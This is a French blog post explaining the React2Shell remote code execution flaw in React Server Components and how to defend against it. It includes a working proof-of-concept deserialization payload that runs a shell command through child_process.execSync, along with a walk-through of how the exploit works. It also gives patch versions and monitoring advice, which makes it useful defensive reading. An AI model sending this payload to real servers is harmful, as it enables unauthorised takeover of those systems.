logo

Baptiste Zahnow

blog cover image
<- Retour au blog

React2Shell: la faille critique qui permet de prendre le contrôle d'un serveur React

Créer par: Baptiste Zahnow, 15/12/2025 17:12

Tables des matières


Qu'est-ce que React2Shell ?

La faille React2Shell correspond à une vulnérabilité critique de type Remote Code Execution (RCE) dans l’écosystème React Server Components (RSC), exploitée sans authentification par de nombreux attaquants dès sa publication en décembre 2025. Elle est suivie sous l’identifiant CVE-2025-55182 et porte une note CVSS de 10.0 (maximum).

Contexte technique

React Server Components (RSC) utilisent un protocole interne appelé Flight, permettant au serveur de recevoir et désérialiser des données complexes envoyées par le client. La faille survient lorsque le serveur désérialise ces données sans les valider correctement, ce qui ouvre la porte à une exploitation par des données malicieuses.

Pourquoi c'est grave ?

  • Exécution de code à distance (RCE) dès une simple requête HTTP, sans authentification.
  • Affecte de nombreuses applications modernes utilisant RSC, notamment celles construites avec Next.js ou intégrant des bundlers comme Parcel/Vite.
  • Exploitation observée dans la nature par des groupes étatiques et des cybercriminels.

Comment l’exploit fonctionne

L’attaque repose sur une désérialisation non sécurisée : l’attaquant envoie un objet JSON construit spécialement qui, au lieu d’être interprété comme des données, contourne les contrôles internes et permet d’injecter du code exécuté par le serveur.

  1. Cible un endpoint acceptant des payloads RSC (Next.js App Router ou RSC sans authentification).
  2. Envoie un payload mal formé manipulant le prototype d’objets ou les structures internes de React.
  3. Lors de la désérialisation, React exécute du code arbitraire contrôlé par l’attaquant.

Exemple de Payload / PoC (Proof of Concept)

À ne pas utiliser sur des systèmes que tu ne possèdes pas ou n'as pas la permission de tester - exploitation non autorisée = illégale.

Voici un extrait de payload réel observé dans un PoC, utilisé pour démontrer l’exploitation. Il montre comment une requête multipart peut déclencher une commande sur le serveur :

javascript icon

payload.js

copy code

const payload = {
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("touch /tmp/rce_poc");',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks',
    }
};

Pendant la désérialisation, les références d'objets telles que $1, $3 et $4 sont résolues de manière dynamique. L'attaquant injecte un objet de réponse conçu contenant une chaîne de code malveillant dans un champ _prefix et manipule _formData.get pour le résoudre en $3:constructor:constructor.

En JavaScript, l'accès à constructor.constructor aboutit finalement au constructeur Function, qui permet l'exécution dynamique de code. En abusant également d'une propriété then pour déclencher le mécanisme de résolution des promesses de React, la charge utile amène le runtime à évaluer le code injecté.

Cela entraîne l'exécution d'une commande shell via child_process.execSync de Node.js, permettant ainsi l'exécution de code à distance.

Eplanation of the PoC

Il s’agit du principe utilisé par de nombreux PoCs sur des dépôts publics (ex. zr0n/react2shell PoC sur GitHub).

Exemples d’exploits observés dans la nature

Après la publication des PoC, différents types d’exploits ont été observés via cette vulnérabilité :

  • Reverse shells et commandes arbitraires sur les serveurs Node.js.
  • Téléchargement de scripts malveillants (via curl, wget) pour installer des backdoors ou cryptominers.
  • Déploiement de malware sophistiqués comme EtherRAT avec persistance Linux et C2 via les smart contracts Ethereum.
  • Campagnes d’exploitation par des groupes APT (Earth Lamia, Jackpot Panda, etc.) et par des équipes criminelles pour miner de la cryptomonnaie ou voler des données.

Comment se protéger

1. Appliquer immédiatement les correctifs

React et Next.js ont publié des versions corrigées :

  • React Server Components : ≥ 19.0.1, 19.1.2, 19.2.1
  • Next.js : versions stables corrigées disponibles (ex. 15.0.5+, 16.0.7+)

Mettre à jour tous les composants vulnérables est essentiel.

2. Déployer des protections temporaires

  • Utiliser un WAF (Web Application Firewall) avec des règles bloquant les vecteurs d’exploit.
  • Limiter l’exposition publique des endpoints RSC.

3. Surveillance et réponse

  • Rechercher des requêtes HTTP suspectes avec des champs anormaux (multipart/form-data contenant des clés inattendues).
  • Auditer les logs pour commandes exécutées, fichiers créés ou shells ouverts.

Conclusion

La faille React2Shell est une des vulnérabilités les plus sévères et impactantes découvertes récemment dans l’écosystème JavaScript. Grâce à une erreur de désérialisation dans React Server Components, des attaquants peuvent exécuter du code arbitraire sur des serveurs, sans authentification, avec des conséquences potentiellement dévastatrices pour les applications et les infrastructures exposées.

Information sur les cookies

Ce site utilise un cookie strictement nécessaire au fonctionnement de l’espace commentaires.
Ce cookie est créé lors de la connexion via Google afin de maintenir votre session et vous permettre de publier des commentaires.
Aucun cookie publicitaire ou de suivi n’est utilisé.